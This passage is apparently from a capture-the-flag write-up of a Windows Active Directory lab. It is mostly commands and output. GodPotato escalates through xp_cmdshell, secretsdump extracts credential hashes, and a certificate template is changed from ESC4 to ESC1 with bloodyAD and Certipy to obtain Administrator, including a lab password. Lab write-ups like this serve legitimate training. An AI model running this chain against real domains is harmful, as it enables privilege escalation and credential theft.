WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2.pong.htb/pong.htb
WHOAMI dc2.pong.htb 389 DC2 Distinguished Name: CN=DC2,OU=Domain Controllers,DC=pong,DC=htb
WHOAMI dc2.pong.htb 389 DC2 User SID: S-1-5-21-2410575906-3092493790-2123333151-1000
Additionally to get a shell as Administrator on the machine we can give C.carlssen, who’s a member of the Remote Management Users group, local administrator privs with GodPotato
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SQL (pong\C.Adam dbo@master)> xp_cmdshell C:\w1ld\GodPotato.exe -cmd "net localgroup Administrators pong.htb\c.carlssen /add"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140724804059136
[*] DispatchTable: 0x140724806646088
[*] UseProtseqFunction: 0x140724805938720
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\e752ca31-dd7b-4c19-a01e-b1fb7605633e\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000b802-0bf8-ffff-0d56-1fb18155b66a
[*] DCOM obj OXID: 0x962ff5a3923cdfd8
[*] DCOM obj OID: 0xc8cc425a6d8bc8fa
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 884 Token:0x760 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2692
The command completed successfully.
NULL
NULL
SQL (pong\C.Adam dbo@master)>
So now when we WinRM we should have administrator access.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
*Evil-WinRM* PS C:\Users\C.Carlssen\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
pong\IT Service Admins Group S-1-5-21-2410575906-3092493790-2123333151-1108 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
CA Managers
One of the interesting groups CA Managers has a member with an SID instead of a FQDN:
1
2
3
4
5
c.roberts@ping.htb>$ bloodyAD --host dc1.ping.htb -k -d ping.htb get object 'CA Managers' --attr member
distinguishedName: CN=CA Managers,CN=Users,DC=ping,DC=htb
member: CN=S-1-5-21-2410575906-3092493790-2123333151-1124,CN=ForeignSecurityPrincipals,DC=ping,DC=htb; CN=P.Paul,CN=Users,DC=ping,DC=htb; CN=M.Wallace,CN=Users,DC=ping,DC=htb
That member is r.martinelli from the pong.htb domain.
1
2
3
4
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb get object 'S-1-5-21-2410575906-3092493790-2123333151-1124' --attr distinguishedName
distinguishedName: CN=R.Martinelli,CN=Users,DC=pong,DC=htb
Let’s grab a TGT using the extracted aesKey we get from secretsdump.
1
2
3
4
5
6
7
8
9
10
11
12
DC2\$@pong.htb> $ secretsdump.py -k -no-pass 'pong.htb/DC2$@dc2.pong.htb' -just-dc-user r.martinelli
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
R.Martinelli:1124:aad3b435b51404eeaad3b435b51404ee:d60fc26a0569b953a5cebd1392232630:::
[*] Kerberos keys grabbed
R.Martinelli:aes256-cts-hmac-sha1-96:[REDACTED]
R.Martinelli:aes128-cts-hmac-sha1-96:[REDACTED]
R.Martinelli:des-cbc-md5:8c437f1f578f3b3b
[*] Cleaning up...
We can see that we can in fact write to the SmartCardAuthentication Template
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
r.martinelli@pong.htb> $ bloodyAD --host dc1.ping.htb -k -d pong.htb get writable
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE
distinguishedName: CN=S-1-5-21-2410575906-3092493790-2123333151-1124,CN=ForeignSecurityPrincipals,DC=ping,DC=htb
permission: WRITE
distinguishedName: CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
permission: WRITE
OWNER: WRITE
DACL: WRITE
distinguishedName: DC=ping.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
distinguishedName: DC=_msdcs.ping.htb,CN=MicrosoftDNS,DC=ForestDnsZones,DC=ping,DC=htb
permission: CREATE_CHILD
I wasn’t able to get the certipy fix to work, so instead I gave c.roberts genericAll over the template.
1
2
3
r.martinelli@pong.htb> $ bloodyAD --host dc1.ping.htb -k -d pong.htb add genericAll 'CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb' 'CN=C.Roberts,CN=Users,DC=ping,DC=htb'
[+] CN=C.Roberts,CN=Users,DC=ping,DC=htb has now GenericAll on CN=SmartcardAuthentication,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=ping,DC=htb
ESC 4 to ESC 1
So now we can find vulnerabilities in the template, which should show ESC4 since we have GenericAll over the template, we can then modify it to be vulnerable to ESC1 and request a Certificate with the Administrator’s upn
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ certipy find -u c.roberts@ping.htb -p AssumedBreach123 -k -dc-host dc1.ping.htb -stdout -vulnerable
Certipy v5.0.4 - by Oliver Lyak (ly4k)
<SNIP>
1
Template Name : SmartcardAuthentication
Display Name : Smartcard Authentication
Certificate Authorities : ping-DC1-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Private Key Flag : ExportableKey
Extended Key Usage : Client Authentication
Secure Email
Encrypting File System
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 100 years
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Template Created : 2026-01-17T15:39:18+00:00
Template Last Modified : 2026-05-15T22:37:30+00:00
Permissions
Enrollment Permissions
Enrollment Rights : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
Object Control Permissions
Owner : PING.HTB\Administrator
Full Control Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
PING.HTB\C.Roberts
Write Owner Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
PING.HTB\C.Roberts
Write Dacl Principals : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
PING.HTB\C.Roberts
Write Property Enroll : PING.HTB\Domain Admins
PING.HTB\Enterprise Admins
[+] User Enrollable Principals : PING.HTB\C.Roberts
[+] User ACL Principals : PING.HTB\C.Roberts
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authentication.
ESC4 : User has dangerous permissions.
Let’s write the default changes to the template to make it vulnerable to ESC1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ certipy template -u c.roberts@ping.htb -p AssumedBreach123 -k -dc-host dc1.ping.htb -template SmartcardAuthentication -write-default-configuration
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] Target name (-target) not specified and Kerberos authentication is used. This might fail
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[*] Saving current configuration to 'SmartcardAuthentication.json'
[*] Wrote current configuration for 'SmartcardAuthentication' to 'SmartcardAuthentication.json'
[*] Updating certificate template 'SmartcardAuthentication'
[*] Replacing:
[*] nTSecurityDescriptor: b'\x01\x00\x04\x9c0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x02\x00\x1c\x00\x01\x00\x00\x00\x00\x00\x14\x00\xff\x01\x0f\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00\x01\x01\x00\x00\x00\x00\x00\x05\x0b\x00\x00\x00'
[*] flags: 66104
[*] pKIDefaultKeySpec: 2
[*] pKIKeyUsage: b'\x86\x00'
[*] pKIMaxIssuingDepth: -1
[*] pKICriticalExtensions: ['2.5.29.19', '2.5.29.15']
[*] pKIExpirationPeriod: b'\x00@9\x87.\xe1\xfe\xff'
[*] pKIExtendedKeyUsage: ['1.3.6.1.5.5.7.3.2']
[*] pKIDefaultCSPs: ['2,Microsoft Base Cryptographic Provider v1.0', '1,Microsoft Enhanced Cryptographic Provider v1.0']
[*] msPKI-Enrollment-Flag: 0
[*] msPKI-Private-Key-Flag: 16
[*] msPKI-Certificate-Name-Flag: 1
[*] msPKI-Certificate-Application-Policy: ['1.3.6.1.5.5.7.3.2']
Are you sure you want to apply these changes to 'SmartcardAuthentication'? (y/N): y
[*] Successfully updated 'SmartcardAuthentication'
Finally let’s request the certificate.
1
2
3
4
5
6
7
8
9
10
11
12
13
$ certipy req -u 'c.roberts@ping.htb' -p 'AssumedBreach123' -k -target dc1.ping.htb -dc-host dc1.ping.htb -ca ping-DC1-CA -upn Administrator@ping.htb -template SmartcardAuthentication -sid S-1-5-21-750635624-2058721901-1932338391-500
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: dc1.ping.htb.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 25
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@ping.htb'
[*] Certificate object SID is 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
With this certificate we should be able to authenticate as Administrator
1
2
3
4
5
6
7
8
9
10
11
12
13
$ certipy auth -pfx administrator.pfx -dc-ip 192.168.2.1 -no-hash
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@ping.htb'
[*] SAN URL SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Security Extension SID: 'S-1-5-21-750635624-2058721901-1932338391-500'
[*] Using principal: 'administrator@ping.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
Let’s of course test our authentication.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Administrator@ping.htb> $ nxc ldap dc1.ping.htb -k --use-kcache -M whoami
LDAP dc1.ping.htb 389 DC1 [*] None (name:DC1) (domain:PING.HTB) (signing:None) (channel binding:Never) (NTLM:False)
LDAP dc1.ping.htb 389 DC1 [+] PING.HTB\administrator from ccache (Pwn3d!)
WHOAMI dc1.ping.htb 389 DC1 Name: Administrator
WHOAMI dc1.ping.htb 389 DC1 Description: Built-in account for administering the computer/domain
WHOAMI dc1.ping.htb 389 DC1 sAMAccountName: Administrator
WHOAMI dc1.ping.htb 389 DC1 Enabled: Yes
WHOAMI dc1.ping.htb 389 DC1 Password Never Expires: Yes
WHOAMI dc1.ping.htb 389 DC1 Last logon: 2026-05-15 22:50:20 UTC
WHOAMI dc1.ping.htb 389 DC1 Password Last Set: 2026-02-03 09:42:36 UTC
WHOAMI dc1.ping.htb 389 DC1 Bad Password Count: 0
WHOAMI dc1.ping.htb 389 DC1 Distinguished Name: CN=Administrator,CN=Users,DC=ping,DC=htb
WHOAMI dc1.ping.htb 389 DC1 Member of: CN=Group Policy Creator Owners,CN=Users,DC=ping,DC=htb
WHOAMI dc1.ping.htb 389 DC1 Member of: CN=Domain Admins,CN=Users,DC=ping,DC=htb
WHOAMI dc1.ping.htb 389 DC1 Member of: CN=Enterprise Admins,CN=Users,DC=ping,DC=htb
WHOAMI dc1.ping.htb 389 DC1 Member of: CN=Schema Admins,CN=Users,DC=ping,DC=htb
WHOAMI dc1.ping.htb 389 DC1 Member of: CN=Administrators,CN=Builtin,DC=ping,DC=htb
WHOAMI dc1.ping.htb 389 DC1 User SID: S-1-5-21-750635624-2058721901-1932338391-500
Let’s WinRM and check the desktop.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Administrator@ping.htb> $ evil-winrm -i dc1.ping.htb -r ping.htb
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> ls ../Desktop
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 5/15/2026 2:06 PM 34 root.txt
There we can find the root flag.
tags: diff/insane - os/windows